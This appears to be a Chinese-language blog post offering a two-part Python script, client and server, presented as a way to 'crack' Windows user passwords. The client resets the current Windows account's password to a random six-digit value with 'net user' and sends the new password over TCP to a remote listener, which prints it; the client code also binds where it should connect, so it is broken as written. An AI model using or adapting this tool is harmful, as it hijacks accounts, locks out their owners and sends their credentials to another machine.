破解win用户名密码的python脚本

脚本分为客户端和服务器端
分别在两个机器上运行

客户端

import socket
import getpass      #携便式密码输入工具
import subprocess   #开启一个进程
import random

# 1.创建socket
tcp_client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

# 2.连接server的IP，Port
tcp_client.bind(('192.168.1.107',6789))

# 3.获取计算机用户名
user = getpass.getuser()

# 密码变量
password=''

# 生成6位的随机密码
for i in range(1,7):
    m=str(random.randrange(0,10))
    password = password + m

# 创建一个新的进程，在本地执行 cmd
subprocess.Popen(['net','User',user,password])   #net user [username] [password]
# 将此密码发送给server
tcp_client.send(password.encode('UTF-8'))
back_msg = tcp_client.recv(1024)
tcp_client.close()
print(password)

服务器端

import socket

# 控制端
# 通过物理机控制虚拟机

# 1.创建socket,指定IPv4，TCP
tcp_server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)   # AF_INET--表示IPv4协议；SOCK_STREAM--表示TCP通信模型

# 2.绑定本机IP，Port;传入的类型为元组
tcp_server.bind(('',6789))

# 3.监听端口
tcp_server.listen(5)
print('开始...')
conn,addr=tcp_server.accept()
# 接受一个连接。此 socket 必须绑定到一个地址上并且监听连接。
# 返回值是一个 (conn, address) 对，
# 其中 conn 是一个新的套接字对象，用于在此连接上收发数据，address 是连接另一端的套接字所绑定的地址。

# 4.链接
print(conn)
print('client address: ',addr)
print('ready to receive the password')
client_msg = conn.recv(1024)    # 接收1024个字节
print('client password change: %s' %(client_msg))
conn.send(client_msg.upper())    # 把数据发送给系统，系统收到数据之后，进行一个更改的操作；前提使获取到系统的最高权限
conn.close()
tcp_server.close()